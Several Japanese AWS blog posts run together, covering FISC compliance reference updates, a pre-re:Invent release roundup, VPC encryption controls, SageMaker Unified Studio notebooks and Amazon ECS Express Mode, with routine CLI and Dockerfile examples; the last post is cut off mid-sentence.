本ブログは、「 金融機関向け AWS FISC 安全対策基準対応リファレンス 」（以下、AWS FISC 安全対策基準対応リファレンス ）と 金融リファレンスアーキテクチャ日本版 中の「 AWS Well-Architected フレームワーク FSI Lens for FISC 」（以下、FSI Lens for FISC）における「 金融機関等コンピュータシステムの安全対策基準・解説書（第13版） 」（以下、「FISC 安全対策基準・解説書（第 13 版）」）への対応についてまとめています。また、FSI Lens for FISC で参照した「 AWS Well-Architected Framework Generative AI Lens 」（以下、Gen AI Lens）についても補足しています。 1. FISC 安全対策基準・解説書に関しての AWS の取り組み 「FISC 安全対策基準・解説書」は、1985 年に初版が発行されて以来、金融機関のシステムアーキテクチャおよび運用に関する指針として多くの金融機関によって活用されています。より安全に AWS をご活用いただくために、AWS は「AWS FISC 安全対策基準対応リファレンス 」を提供しています。これは「FISC 安全対策基準・解説書」が求める各管理策に対する AWS の取り組みとお客様の責任範囲で実施する事項をまとめており、お客様はどなたでも入手することが可能です。 また、「FISC 安全対策基準・解説書」の各実務基準に沿って、金融サービス業界のワークロードにおける回復力、セキュリティ、および運用パフォーマンスを促進する方法を記載したドキュメントとして、「FSI Lens for FISC」を AWS は提供しています。お客様はどなたでも、このドキュメントもご利用いただけます。金融サービス業界の特性に依存しない一般的なベストプラクティス集である AWS Well-Architected フレームワーク と合わせてご参照ください。 2. AWS FISC 安全対策基準対応リファレンス と FISC 安全対策基準・解説書（第 13 版）対応について 2025 年 3 月に「FISC 安全対策基準・解説書（第 13 版）」が公開されました。この公開に合わせて、「AWS FISC 安全対策基準対応リファレンス 」では主に以下の変更を行いました。 「金融分野におけるサイバーセキュリティに関するガイドライン」に関する改訂への対応 AI の安全対策に関する改訂への対応AI の安全対策に関する改訂への対応 詳細は、AWS FISC 安全対策基準対応リファレンスの PDF ファイル における赤色でハイライトされた箇所をご確認ください。 図 1. AWS FISC 安全対策基準対応リファレンスの例 3. FSI Lens for FISC におけるアップデートについて 「FISC 安全対策基準・解説書（第 13 版）」の公開に合わせ、FSI Lens for FISC では主に次のようなアップデートがあります。 実務基準ごとの FSI Lens for FISC および AWS Well-Architected フレームワーク対応表（以下、対応表）の更新 FISCSEC5 において新たなベストプラクティス「 FISCSEC5-BP05 」を追加 対応表の更新 対応表は、FISC 安全対策基準・解説書（第 13 版）における各実務基準ごとに、準拠する上で参照できる AWS Well-Architected Framework と FSI Lens for FISC のベストプラクティスを記載したものです。 本アップデートでは、FISC 安全対策基準・解説書（第 13 版）と AWS Well-Architected Framework と FSI Lens for FISC のベストプラクティスのマッピングを更新に加え、FISC 安全対策基準・解説書（第 12 版）に対する対応表を追記し、12 版から 13 版への変更箇所の明瞭化を行いました。また、対応する AWS Well-Architected Framework の柱を追加した理由を記載することで、変更理由を知ることができます。 FISC 安全対策基準・解説書（第 13 版）では、AI・生成 AI の利用が急速に拡大していることを踏まえ、そのリスク対応のために新たな AI の安全対策に関する基準項目が新設されました。該当項目に対しては、Gen AI Lens を参照するように変更しました。 Gen AI Lens は、AWS 上で生成 AI アプリケーションを構築する組織向けのリソースです。このリソースは、セキュリティ、効率性、スケーラビリティ、責任ある AI の原則に沿ったアプリケーション構築のためのガイダンスとベストプラクティスを提供します。Gen AI Lens は運用上の優秀性、セキュリティ、信頼性、パフォーマンス効率、コスト最適化、持続可能性という 6 つの主要な柱に基づき、モデル選択からデプロイ、継続的改善まで、生成 AI アプリケーションのライフサイクル全体にわたる実用的なインサイトを提供します。 図 2. 対応表の例 FISCSEC5-BP05 を追加 FISC 安全対策基準・解説書（第 13 版）の実務基準においては、多要素認証（MFA）の実装に関する指摘があります。これまで、MFA に言及がある基準については、AWS Well-Architected Framework SEC 2 を参照してきましたが、金融サービス業界のワークロードで重要視される、複数デバイスの登録による Disaster Recovery 対応を考慮し、FISCSEC5-BP05 を追加しました。 FISCSEC5-BP05 に沿った実装により、パスワードに加えて追加の認証要素により不正アクセスを防止し、複数の MFA デバイス登録により単一障害点を排除して事業継続性を確保できます。また、複数拠点への MFA デバイス配置により災害時の迅速な運用切り替えが可能となり、金融サービス業界で求められる厳格なセキュリティ要件への準拠を実現できます。 図 3. FISCSEC-BP05 まとめ AWS は金融サービス業界のお客様が安心して AWS をお使いいただけるように、「AWS FISC 安全対策基準対応リファレンス」と「金融リファレンスアーキテクチャ 日本版」を提供しています。本ブログでは、FISC 安全対策基準・解説書の第 12 版から第 13 版へのアップデートに合わせて、「AWS FISC 安全対策基準対応リファレンス」と「FSI Lens for FISC」を更新したことを報告しました。「FSI Lens for FISC」では、実務基準ごとの対応表の更新に加えて、MFA の実装に関するベストプラクティスを追加しました。これらのリソースにより、金融サービス業界のお客様がより安全に AWS を活用することに繋がれば幸いです。 謝辞 アマゾン ウェブ サービス ジャパン合同会社の下記メンバーで「AWS FISC 安全対策基準対応リファレンス」と「FSI Lens for FISC」の更新を行いました。 AWS FISC 安全対策基準対応リファレンス：能仁信亮、神部洋介、佐藤航大、佐藤真也 金融リファレンスアーキテクチャ日本版：辻本雄哉、松本耕一朗、神部洋介、佐藤航大、佐藤真也 佐藤真也 アマゾンウェブサービスジャパン合同会社 フィナンシャルサービス技術本部 ソリューションアーキテクト AWS のストレージサービス全般が好きで、AWS Black Belt オンラインセミナーなどのイベントへの登壇にも力を入れています。 <!-- '"` -->

2025 年 12 月 1 週は、AWS の最新ニュース、専門家によるインサイト、グローバルなクラウドコミュニティとのつながりをご提供する AWS re:Invent (2025 年 12 月 1～5 日) をお見逃しなく! AWS ニュースブログチームは、サービスチームによる何よりエキサイティングなリリースを紹介する投稿の作成を完了しつつあります。ラスベガスで直接参加する場合は、到着前に プログラム 、 セッションカタログ 、 参加者ガイド をご確認ください。直接参加できない場合 基調講演とイノベーショントークをライブストリームでご視聴ください。 Kiro の一般提供を開始 2025 年 11 月 17 週、仕様主導型開発を中心に構築された初の AI コーディングツールである Kiro が 一般公開 されました。このツールは、エージェンティックワークフローをより明確化かつ構造化するために AWS が先駆けて開発したもので、プレビューリリース以来、すでに 25 万人以上の開発者に採用されています。GA のリリースでは、4 つの新機能が導入されました。 仕様の正確性を検証するプロパティベースのテスト (コードが指定した内容と一致するかどうかを測定)、 Kiroでの進捗状況を確認する新しい方法 、 エージェントをターミナルに接続する新しい Kiro CLI 、一元管理を備えた エンタープライズチームプラン です。 2025 年 11 月 17 週のリリース re:Invent ウィークが近づくにつれ、数多くの新特徴量やサービスのリリースが発表されています。主なリリースは次のとおりです。 新しい Amazon EC2 P6-B300 インスタンスで大規模な AI アプリケーションを高速化 ウェブサイトの配信とセキュリティに超過料金が発生しない定額料金プランのご紹介 AI ワークロードのパフォーマンスとコストの一致に役立つ新しい Amazon Bedrock サービスティア Container Network Observability を使用して、EKS クラスター全体のネットワークパフォーマンスとトラフィックをモニタリング 最新情報: 複数の組織にわたる AWS 請求とコストを一元管理するための新しい AWS Billing Transfer AWS Control Tower で Controls Dedicated エクスペリエンスを導入 Amazon SageMaker Catalog の新しいビジネスメタデータ特徴量により、組織全体で発見をより容易にする AWS Lambda のテナント分離モードでマルチテナントアプリケーション開発を効率化 AWS Step Functions の強化されたローカルテストでワークフロー開発を加速する AWS IAM アウトバウンド ID フェデレーションを使用して、外部サービスへのアクセスを簡素化 Amazon S3 汎用バケットの属性ベースのアクセス制御のご紹介 VPC 暗号化コントロールのご紹介: リージョンの VPC 内および VPC 間での転送中の暗号化の強制 Amazon ECS Express Mode を使用して、インフラストラクチャを複雑化することなく、本番環境に対応したアプリケーションを構築 Amazon SageMaker Unified Studio の AI エージェントが組み込まれた新しいワンクリックオンボーディングとノートブック 「aws ログイン」を使用した開発者による AWS へのアクセスの簡略化 AWS バンドル特徴量のリリースをいくつかご紹介します。 Amazon EKS は、新しい プロビジョニング済みコントロールプレーン 、 フルマネージド MCP サーバー (プレビュー)、 Amazon ECS を使用したコンソールでの 強化された AI によるトラブルシューティング を発表しました。 Amazon ECR では、 マネージドコンテナイメージ署名 、 ほとんどアクセスされないコンテナイメージ用のアーカイブストレージクラス 、 FIPS エンドポイント用の AWS PrivateLink を導入しました。 Amazon Aurora DSQL は、コンソールの 統合型クエリエディタ 、クエリプランの ステートメントレベルのコスト見積もり 、 新しい Python、Node.js、JDBC コネクタ 、最大 256 TiB のストレージボリューム を提供します。 Amazon API Gateway は、 REST API のレスポンスストリーミング 、 デベロッパーポータル機能 、 REST API 用の追加の TLS セキュリティポリシー をサポートしています。 Amazon Connect は、 音声用の会話型分析 、 通話処理を高速化するための永続的エージェント接続 、 マルチスキルエージェントスケジューリング を提供します。 Amazon CloudWatch は、 Logs Insights のスケジュール済みクエリ と EC2 でのコンソール内エージェント管理 を導入しました。 AWS CloudFormation StackSets では、 自動デプロイモードのデプロイ順序 を設定できます。スタックインスタンスが複数のアカウントとリージョンで自動的にデプロイされる順序を定義できます。 AWS NAT Gateway は リージョナルアベイラビリティ をサポートしているため、アベイラビリティーゾーン (AZ) 全体で自動的に拡張および縮小される単一の NAT ゲートウェイを作成できます。 Amazon Bedrock は、 カスタムモデルインポート用の OpenAI GPT OSS モデル 、 ガードレールのコーディングユースケース 、データ自動化の 音声分析用の追加の 10 言語 をサポートしています。 Amazon OpenSearch は、コンソールを通じたサーバーレスでの 運用上の可視性を向上させる Cluster Insights 、 バックアップと復元 、 データプレーン API の監査ログ をサポートしています。 ここで取り上げていないその他のリリースニュースについては、 AWS What’s New をご参照ください。2025 年 12 月 1 週の re:Invent でお会いしましょう。 – Channy 原文は こちら です。

2025 年 11 月 21 日、仮想プライベートクラウド (VPC) 暗号化制御を発表しました。これは Amazon Virtual Private Cloud (Amazon VPC) の新機能です。これにより、リージョンの VPC 内および VPC 間のすべてのトラフィックで転送中の暗号化を監査および強制できます。 金融サービス、医療、政府、小売業を営む組織は、クラウドインフラストラクチャ全体で暗号化コンプライアンスを維持する上で、運用が非常に複雑になっています。従来のアプローチでは、スプレッドシートを使用してさまざまなネットワークパスにわたる暗号化を手動で追跡しながら、複数のソリューションをつなぎ合わせて複雑な公開鍵基盤 (PKI) を管理する必要がありました。このプロセスは人為的ミスが発生しやすく、インフラストラクチャの規模が拡大するにつれてますます困難になります。 AWS Nitro ベースのインスタンスは、パフォーマンスに影響を与えずにハードウェアレイヤーでトラフィックを自動的に暗号化しますが、組織にはこれらの機能を VPC インフラストラクチャ全体に拡張するためのシンプルなメカニズムが必要です。これは、医療保険の携行性と責任に関する法律 (HIPAA)、ペイメントカード業界データセキュリティ基準 (PCI DSS)、米国連邦政府によるリスクおよび認証管理プログラム (FedRAMP) など、環境全体でエンドツーエンドの暗号化の証明を必要とする規制フレームワークへの準拠を実証する場合に特に重要です。組織は、パフォーマンスのトレードオフや複雑なキー管理システムを管理することなく、暗号化状態を一元的に可視化して制御する必要があります。 VPC 暗号化制御は、監視と強制という 2 つの運用モードを提供することでこれらの課題に対処します。監視モードでは、トラフィックフローの暗号化ステータスを監査し、プレーンテキストトラフィックを許可するリソースを特定できます。この機能により、VPC フローログに新しい暗号化ステータスフィールドが追加され、トラフィックが Nitro ハードウェア暗号化、アプリケーション層暗号化 (TLS)、またはその両方を使用して暗号化されているかどうかを可視化できます。 変更が必要なリソースを特定したら、暗号化を実装するための措置を講じることができます。 Network Load Balancer 、 Application Load Balancer 、 AWS Fargate タスクなどの AWS サービスは、基盤となるインフラストラクチャを Nitro ハードウェアに自動的かつ透過的に移行します。ユーザーによるアクションは不要で、サービスの中断もありません。前世代の Amazon Elastic Compute Cloud (Amazon EC2) インスタンスなどの他のリソースについては、 モダンな Nitro ベース の インスタンスタイプ に切り替えるか、アプリケーションレベルで TLS 暗号化を設定する必要があります。 すべてのリソースが暗号化準拠のインフラストラクチャに移行されたら、強制モードに切り替えることができます。この暗号化準拠のハードウェアと通信プロトコルへの移行は、強制モードを有効にする前提条件です。 インターネットゲートウェイ や NAT ゲートウェイ など、暗号化をサポートしない (トラフィックが VPC や AWS ネットワークの外部を流れるため) リソースには、特定の除外を設定できます。 その他の リソース は暗号化に準拠している必要があり、除外することはできません。アクティベーション後、強制モードでは、今後のリソースはすべて互換性のある Nitro インスタンスでのみ作成され、誤ったプロトコルまたはポートが検出された場合は暗号化されていないトラフィックはドロップされます。 使用開始方法の説明 このデモでは、3 つの EC2 インスタンスを起動しました。1 つをポート 80 に Nginx をインストールしたウェブサーバーとして使用し、クリアテキストの HTML ページを処理します。残りの 2 つは、サーバーに対して HTTP GET リクエストを継続的に送信しています。これにより、VPC にクリアテキストトラフィックが生成されます。ウェブサーバーと 2 つのクライアントのうちの 1 つには m7g.medium インスタンスタイプを使用しています。このインスタンスタイプは、基盤となる Nitro System ハードウェアを使用して、インスタンス間の転送中のトラフィックを自動的に暗号化します。他のウェブクライアントには t4g.medium インスタンスを使用しています。そのインスタンスのネットワークトラフィックは、ハードウェアレベルで暗号化されていません。 はじめに、監視モードで暗号化制御を有効にします。 AWS マネジメントコンソール の左側のナビゲーションペインで [Your VPC] (お使いの VPC) を選択し、次に [VPC encryption controls] (VPC 暗号化制御) タブに切り替えます。 [Create encryption control] (暗号化制御を作成) を選択し、制御を作成する VPC を選択します。 各 VPC には 1 つの VPC 暗号化制御しか関連付けることができず、VPC ID と VPC 暗号化制御 ID の間に 1 対 1 の関係が構築されます。VPC 暗号化制御を作成するときに、リソースの編成と管理に役立つタグを追加できます。新しい VPC を作成する際に VPC 暗号化制御を有効にすることもできます。 この制御の 名前 を入力します。制御したい VPC を選択します。既存の VPC では、 監視モード で起動する必要があります。暗号化されていないトラフィックがないことが確認できたら 強制モード を有効にできます。新しい VPC については、作成時に暗号化を適用できます。 オプションで、既存の VPC で暗号化制御を作成するときにタグを定義できます。ただし、VPC の作成時に暗号化制御を有効にすると、VPC 暗号化制御用に個別のタグを作成することはできません。これは、VPC と同じタグが自動的に継承されるためです。準備ができたら、 [Create encryption control] (暗号化制御を作成) を選択します。 代わりに、次のように AWS コマンドラインインターフェイス (AWS CLI) を使用することもできます。 aws ec2 create-vpc-encryption-control --vpc-id vpc-123456789 次に、コンソール、コマンドライン、またはフローログを使用して VPC の暗号化ステータスを監査します。 aws ec2 create-flow-logs \ --resource-type VPC \ --resource-ids vpc-123456789 \ --traffic-type ALL \ --log-destination-type s3 \ --log-destination arn:aws:s3:::vpc-flow-logs-012345678901/vpc-flow-logs/ \ --log-format '${flow-direction} ${traffic-path} ${srcaddr} ${dstaddr} ${srcport} ${dstport} ${encryption-status}' { "ClientToken": "F7xmLqTHgt9krTcFMBHrwHmAZHByyDXmA1J94PsxWiU=", "FlowLogIds": [ "fl-0667848f2d19786ca" ], "Unsuccessful": [] } 数分後、ログに次のトラフィックが表示されます。 flow-direction traffic-path srcaddr dstaddr srcport dstport encryption-status ingress - 10.0.133.8 10.0.128.55 43236 80 1 # &lt;-- HTTP between web client and server.Encrypted at hardware-level egress 1 10.0.128.55 10.0.133.8 80 43236 1 ingress - 10.0.133.8 10.0.128.55 36902 80 1 egress 1 10.0.128.55 10.0.133.8 80 36902 1 ingress - 10.0.130.104 10.0.128.55 55016 80 0 # &lt;-- HTTP between web client and server.Not encrypted at hardware-level egress 1 10.0.128.55 10.0.130.104 80 55016 0 ingress - 10.0.130.104 10.0.128.55 60276 80 0 egress 1 10.0.128.55 10.0.130.104 80 60276 0 10.0.128.55 は、ハードウェアで暗号化されたトラフィックを使用するウェブサーバーで、アプリケーションレベルでクリアテキストトラフィックを処理します。 10.0.133.8 は、ハードウェアで暗号化されたトラフィックを使用するウェブクライアントです。 10.0.130.104 は、ハードウェアレベルで暗号化されていないウェブクライアントです。 encryption-status フィールドには、送信元アドレスと送信先アドレス間のトラフィックの暗号化ステータスが表示されます。 0 はトラフィックがクリアテキストであることを意味します 1 は、トラフィックが Nitro システムによってネットワークレイヤー (レベル 3) で暗号化されていることを意味します 2 は、トラフィックがアプリケーションレイヤー (レベル 7、TCP ポート 443、TLS/SSL) で暗号化されていることを意味します 3 は、トラフィックがアプリケーションレイヤー (TLS) とネットワークレイヤー (Nitro) の両方で暗号化されていることを意味します。 「-」は、VPC 暗号化制御が有効になっていないか、AWS Flow Logs にステータス情報がないことを意味します。 Nitro ベースではないインスタンス ( 10.0.130.104 ) のウェブクライアントから発信されたトラフィックには 0 のフラグが付けられます。Nitro ベースのインスタンス ( 10.0.133.8 ) 上のウェブクライアントから開始されたトラフィックには、 1 のフラグが付けられます。 また、コンソールを使用して変更が必要なリソースを特定します。このレポートでは、暗号化されていない 2 つのリソース (Nitro ベースではないインスタンスのインターネットゲートウェイと Elastic Network Interface (ENI) ) が報告されます。 CLI を使用して、暗号化されていないリソースを確認することもできます。 aws ec2 get-vpc-resources-blocking-encryption-enforcement --vpc-id vpc-123456789 暗号化をサポートするようにリソースを更新したら、コンソールまたは CLI を使用して強制モードに切り替えることができます。 コンソールで VPC 暗号化制御を選択します。次に、 [Actions] (アクション) と [Switch mode] (モードの切り替え) を選択します。 または、次のように同等の CLI を使用することもできます。 aws ec2 modify-vpc-encryption-control --vpc-id vpc-123456789 --mode enforce 暗号化されていないと識別されたリソースを変更するにはどうすればよいですか? すべての VPC リソースは、ハードウェアレイヤーまたはアプリケーションレイヤーでトラフィックの暗号化をサポートする必要があります。ほとんどのリソースでは、何もする必要はありません。 AWS PrivateLink と ゲートウェイエンドポイント を介してアクセスする AWS サービスは、アプリケーションレイヤーで自動的に暗号化を適用します。これらのサービスは TLS で暗号化されたトラフィックのみを受け入れます。AWS は、アプリケーションレイヤーで暗号化されていないトラフィックを自動的にドロップします。 監視モードを有効にすると、Network Load Balancer、Application Load Balancer、 AWS Fargate クラスター、 Amazon Elastic Kubernetes Service (Amazon EKS) クラスターが、本質的に暗号化をサポートするハードウェアに自動的かつ徐々に移行します。この移行は、ユーザーによる操作を必要とせずに透過的に行われます。 一部の VPC リソースでは、最新の Nitro ハードウェアレイヤー暗号化をサポートする基盤となるインスタンスを選択する必要があります。これらには、EC2 インスタンス、 Auto Scaling グループ 、 Amazon Relational Database Service (Amazon RDS) データベース ( Amazon DocumentDB を含む)、 Amazon ElastiCache のノードベースのクラスター、 Amazon Redshift でプロビジョニングされたクラスター 、 EKS クラスター 、 ECS (EC2 キャパシティーを含む) 、 MSK プロビジョンド 、 Amazon OpenSearch Service 、および Amazon EMR などがあります。Redshift クラスターを移行するには、スナップショットから新しいクラスターまたは名前空間を作成する必要があります。 新世代のインスタンスを使用する場合、最近のインスタンスタイプはすべて暗号化をサポートしているため、すでに暗号化に準拠したインフラストラクチャが用意されている可能性があります。転送中の暗号化をサポートしていない旧世代のインスタンスの場合は、サポートされているインスタンスタイプにアップグレードする必要があります。 AWS Transit Gateway を使用する際に知っておくべきこと VPC 暗号化を有効にして AWS CloudFormation 経由で Transit Gateway を作成する場合、 ec2:ModifyTransitGateway および ec2:ModifyTransitGatewayOptions という、さらに 2 つの AWS Identity and Access Management (IAM) アクセス許可が必要です。CloudFormation は 2 段階のプロセスを使用して Transit Gateway を作成するため、これらのアクセス許可が必要になります。最初に基本設定で Transit Gateway を作成し、次に ModifyTransitGateway を呼び出して暗号化サポートを有効にします。これらのアクセス許可がないと、作成操作のように見える操作のみを実行していても、暗号化設定を適用しようとすると、作成中に CloudFormation スタックが失敗します。 料金と利用可能なリージョン VPC 暗号化制御は、米国東部 (オハイオ、バージニア北部)、米国西部 (北カリフォルニア、オレゴン)、アフリカ (ケープタウン)、アジアパシフィック (香港、ハイデラバード、ジャカルタ、メルボルン、ムンバイ、大阪、シンガポール、シドニー、東京)、カナダ (中部)、カナダ西部 (カルガリー)、欧州 (フランクフルト、アイルランド、ロンドン、ミラノ、パリ、ストックホルム、チューリッヒ)、中東 (バーレーン、UAE)、南米 (サンパウロ) の各 AWS リージョンで今すぐご利用いただけます。 VPC 暗号化制御は、2026 年 3 月 1 日まで無料でお使いいただけます。 VPC の料金ページ は、無料期間の終了日が近くなると更新され、詳細が表示されます。 詳細については、 VPC 暗号化制御のドキュメント を参照するか、AWS アカウントでお試しください。セキュリティ体制を強化し、コンプライアンス基準を満たすためにこの機能がどのように役立っているかを聞くのを楽しみにしています。 – seb 原文は こちら です。

2025 年 11 月 21 日、 Amazon SageMaker Unified Studio で既存の AWS データセットの使用をより迅速に開始するための方法を発表しました。既存の AWS Identity and Access Management (IAM) ロールと許可を使用して、組み込み AI エージェントを含む新しいサーバーレスノートブックで、アクセス可能なあらゆるデータを操作できるようになりました。 新しいアップデートには次が含まれます: ワンクリックオンボーディング – Amazon SageMaker は、 AWS Glue データカタログ 、 AWS Lake Formation 、 Amazon Simple Storage Services (Amazon S3) の既存のデータ許可をすべて備えたプロジェクトを、Unified Studio に自動的に作成できるようになりました。 直接統合 – Amazon SageMaker 、 Amazon Athena 、 Amazon Redshift 、 Amazon S3 Tables のコンソールページから SageMaker Unified Studio を直接起動できるため、分析と AI ワークロードへの迅速なパスが提供されます。 組み込み AI エージェントを含むノートブック – AI エージェントが組み込まれた新しいサーバーレスノートブックを使用できます。このノートブックは、SQL、Python、Spark、または自然言語をサポートし、データエンジニア、アナリスト、データサイエンティストが SQL クエリとコードの両方を 1 つの場所で開発および実行できるようにします。 また、SQL 分析のための クエリエディタ 、 JupyterLab 統合開発環境 (IDE)、 Visual ETL とワークフロー 、 機械学習 (ML) 機能 などの他のツールにもアクセスできます。 ワンクリックオンボーディングをお試しいただき、Amazon SageMaker Unified Studio に接続しましょう 使用を開始するには、 SageMaker コンソール に移動し、 [使用を開始] ボタンを選択します。 データとコンピューティングにアクセスできる既存の AWS Identity and Access Management (AWS IAM) ロールを選択するか、または新しいロールを作成するように求められます。 [セットアップ] を選択します。環境の設定が完了するまで数分かかります。このロールにアクセスが付与されると、SageMaker Unified Studio のランディングページに移動し、AWS Glue データカタログでアクセスできるデータセットと、使用できるさまざまな分析ツールおよび AI ツールが表示されます。 この環境では、Amazon Athena Spark、Amazon Athena SQL、AWS Glue Spark、 Amazon Managed Workflows for Apache Airflow (MWAA) といったサーバーレスコンピューティングが自動的に作成されます。&nbsp;これは、プロビジョニングを完全にスキップでき、ジャストインタイムのコンピューティングリソースを使用してすぐに作業を開始できるほか、完了すると自動的にスケールダウンして元に戻るため、コストを削減するのに役立つことを意味します。 Amazon Athena、Amazon Redshift、Amazon S3 Tables の特定のテーブルで作業を開始することもできます。例えば、Amazon Athena コンソールで [Amazon SageMaker Unified Studio でデータをクエリ] を選択し、 [使用を開始] を選択できます。 これらのコンソールから開始すると、クエリエディタに直接接続され、表示していたデータにアクセスできるようになり、以前のクエリコンテキストも保持されます。このコンテキスト認識ルーティングを使用することで、不要なナビゲーションなしで、SageMaker Unified Studio 内に入るとすぐにクエリを実行できます。 組み込み AI エージェントを含むノートブックの開始方法 Amazon SageMaker は、データチームと AI チームに、分析と ML ジョブのための高性能なサーバーレスプログラミング環境を提供する新しいノートブックエクスペリエンスを導入します。新しいノートブックエクスペリエンスには、Amazon SageMaker Data Agent が含まれています。これは、自然言語プロンプトからコードと SQL ステートメントを生成し、タスクを通じてユーザーをガイドすることで開発を加速する組み込み AI エージェントです。 新しいノートブックを開始するには、左側のナビゲーションペインで [ノートブック] メニューを選択して、SQL クエリ、Python コード、自然言語を実行し、データに関するインサイトを明らかにし、変換、分析、視覚化、共有できます。顧客分析や小売売上予測などのサンプルデータから開始できます。 顧客の使用状況の分析のサンプルプロジェクトを選択すると、サンプルノートブックを開いて、通信データセット内の顧客の使用パターンと行動を詳しく調べることができます。 前述のとおり、ノートブックには、自然言語プロンプトを通じてデータを操作するのに役立つ組み込み AI エージェントが含まれています。例えば、次のようなプロンプトを使用してデータ検出を開始できます: Show me some insights and visualizations on the customer churn dataset. 関連するテーブルを特定したら、特定の分析をリクエストして Spark SQL を生成できます。AI エージェントは、データ変換用の初期コードとビジュアライゼーション用の Python コードを含む、ステップバイステップのプランを作成します。生成されたコードの実行中にエラーメッセージが表示された場合は、 [AI で修正] を選択して解決のヘルプを参照してください。結果の例を次に示します: ML ワークフローでは、次のような具体的なプロンプトを使用します: Build an XGBoost classification model for churn prediction using the churn table, with purchase frequency, average transaction value, and days since last purchase as features. このプロンプトは、ステップバイステップのプラン、データのロード、特徴量エンジニアリング、SageMaker AI 機能を使用したモデルトレーニングコード、評価メトリクスなど、構造化された応答を受け取ります。SageMaker Data Agent は、具体的なプロンプトで最も効果的に機能し、Athena for Apache Spark や SageMaker AI などの AWS のデータ処理サービス向けに最適化されています。 新しいノートブックエクスペリエンスの詳細については、「 Amazon SageMaker Unified Studio ユーザーガイド 」にアクセスしてください。 今すぐご利用いただけます Amazon SageMaker Unified Studio のワンクリックオンボーディングと新しいノートブックエクスペリエンスは、米国東部 (オハイオ)、米国東部 (バージニア北部)、米国西部 (オレゴン)、アジアパシフィック (ムンバイ)、アジアパシフィック (シンガポール)、アジアパシフィック (シドニー)、アジアパシフィック (東京)、欧州 (フランクフルト)、欧州 (アイルランド) の各リージョンでご利用いただけるようになりました。詳細については、 SageMaker Unified Studio の製品ページ にアクセスしてください。 SageMaker コンソール でお試しいただき、 AWS re:Post for SageMaker Unified Studio に、または通常の AWS サポートの連絡先を通じて、ぜひフィードバックをお寄せください。 – Channy 原文は こちら です。

コンテナ化されたアプリケーションを本番環境にデプロイするには、ロードバランサー、自動スケーリングポリシー、ネットワーク、セキュリティグループにわたる何百もの設定パラメータを操作する必要があります。このオーバーヘッドにより、市場投入までの時間が遅れ、コアアプリケーション開発から焦点がずれてしまいます。 2025 年 11 月 21 日、Amazon ECS Express Mode を発表できたことを嬉しく思います。これは、 Amazon Elastic Container Service (Amazon ECS) の新機能で、1 つのコマンドで可用性が高くスケーラブルなコンテナ化されたアプリケーションを起動するのに役立ちます。ECS Express Mode は、シンプルな API を使用して、ドメイン、ネットワーク、負荷分散、自動スケーリングなどのインフラストラクチャのセットアップを自動化します。つまり、 Amazon Web Services (AWS) のベストプラクティスを使用して自信を持ってデプロイしながら、アプリケーションの構築に集中できます。さらに、アプリケーションが進化して高度な機能が必要になった場合でも、Amazon ECS を含むリソースの全機能をシームレスに設定してアクセスできます。 Amazon ECS Express Mode の使用を開始するには、 Amazon ECS コンソールに移動します。 Amazon ECS Express Mode は、AWS 全体で一般的に使用されるリソースを作成するための新たな統合により、Amazon ECS サービスリソースへのシンプルなインターフェイスを提供します。ECS Express Mode は、ECS クラスター、タスク定義、Application Load Balancer、自動スケーリングポリシー、Amazon Route 53 ドメインを 1 つのエントリポイントから自動的にプロビジョニングして設定します。 ECS Express Mode の使用を開始する Amazon ECS Express Mode の使用方法を順を追って説明します。ここでは、コンテナ化されたアプリケーションを最も迅速にデプロイできるコンソールエクスペリエンスに焦点を当てます。 この例では、Flask フレームワークを利用した Python 上で動作するシンプルなコンテナイメージアプリケーションを使用しています。こちらが、このデモの Dockerfile です。これを Amazon Elastic Container Registry (Amazon ECR) リポジトリにプッシュしました。 # Build stage FROM python:3.6-slim as builder WORKDIR /app COPY requirements.txt . RUN pip install --no-cache-dir --user -r requirements.txt gunicorn # Runtime stage FROM python:3.6-slim WORKDIR /app COPY --from=builder /root/.local /root/.local COPY app.py . ENV PATH=/root/.local/bin:$PATH EXPOSE 80 CMD ["gunicorn", "--bind", "0.0.0.0:80", "app:app"] [Express Mode] ページで、 [Create] (作成) を選択します。インターフェイスが合理化されました。Amazon ECR からコンテナイメージ URI を指定してから、タスク実行ロールとインフラストラクチャロールを選択します。これらのロールをまだお持ちでない場合は、ドロップダウンから [Create new role] (新しいロールを作成) を選択して、 AWS Identity and Access Management (IAM) 管理ポリシーからロールを作成してください。 デプロイをカスタマイズしたい場合は、 [Additional configurations] (その他の設定) セクションを拡張して、クラスター、コンテナポート、ヘルスチェックパスや環境変数を定義できます。 このセクションでは、CPU、メモリ、またはスケーリングポリシーを調整することもできます。 Amazon CloudWatch Logs でのログのセットアップは、必要に応じてアプリケーションのトラブルシューティングができるように、常に設定するようにしています。設定に問題がなければ、 [Create] (作成) を選択します。 [Create] (作成) を選択すると、Express Mode が自動的に完全なアプリケーションスタックをプロビジョニングします。これには、 AWS Fargate タスクを含む Amazon ECS サービス、ヘルスチェック機能付き Application Load Balancer、CPU 使用率に基づく自動スケーリングポリシー、セキュリティグループとネットワーク設定、AWS が提供する URL を含むカスタムドメインなどがあります。 [Resources] (リソース) タブの [Timeline view] (タイムラインビュー) でも進捗状況を確認できます。 プログラムによるデプロイが必要な場合でも、次の AWS コマンドラインインターフェイス (AWS CLI) コマンド 1 つで同じ結果が得られます。 aws ecs create-express-gateway-service \ --image [ACCOUNT_ID].ecr.us-west-2.amazonaws.com/myapp:latest \ --execution-role-arn arn:aws:iam::[ACCOUNT_ID]:role/[IAM_ROLE] \ --infrastructure-role-arn arn:aws:iam::[ACCOUNT_ID]:role/[IAM_ROLE] 完了すると、コンソールにアプリケーション URL が表示され、実行中のアプリケーションにすぐにアクセスできます。 アプリケーションを作成したら、ECS サービスにおいて指定されたクラスター、または指定しなかった場合はデフォルトクラスターにアクセスして詳細を確認し、パフォーマンスをモニタリングしたり、ログを表示したり、デプロイを管理したりできます。 アプリケーションを新しいコンテナバージョンで更新する必要がある場合は、コンソールに戻って Express サービスを選択し、 [Update] (更新) を選択します。このインターフェイスを使用して、新しいイメージ URI を指定したり、リソースの割り当てを調整したりできます。 または、次のように、AWS CLI を使用して更新することもできます。 aws ecs update-express-gateway-service \ --service-arn arn:aws:ecs:us-west-2:[ACCOUNT_ID]:service/[CLUSTER_NAME]/[APP_NAME] \ --primary-container '{ "image": "[IMAGE_URI]" }' このエクスペリエンスで、全体的にセットアップの複雑さを軽減しながら、より高度な設定が必要なときでも、基盤となるすべてのリソースにアクセスできることがわかりました。 その他の情報 ECS Express Mode に関するその他の事項は次のとおりです。 利用できるリージョン – ECS Express Mode は、ローンチの際にすべての AWS リージョン でご利用いただけます。 Infrastructure as Code のサポート – AWS CloudFormation 、 AWS Cloud Development 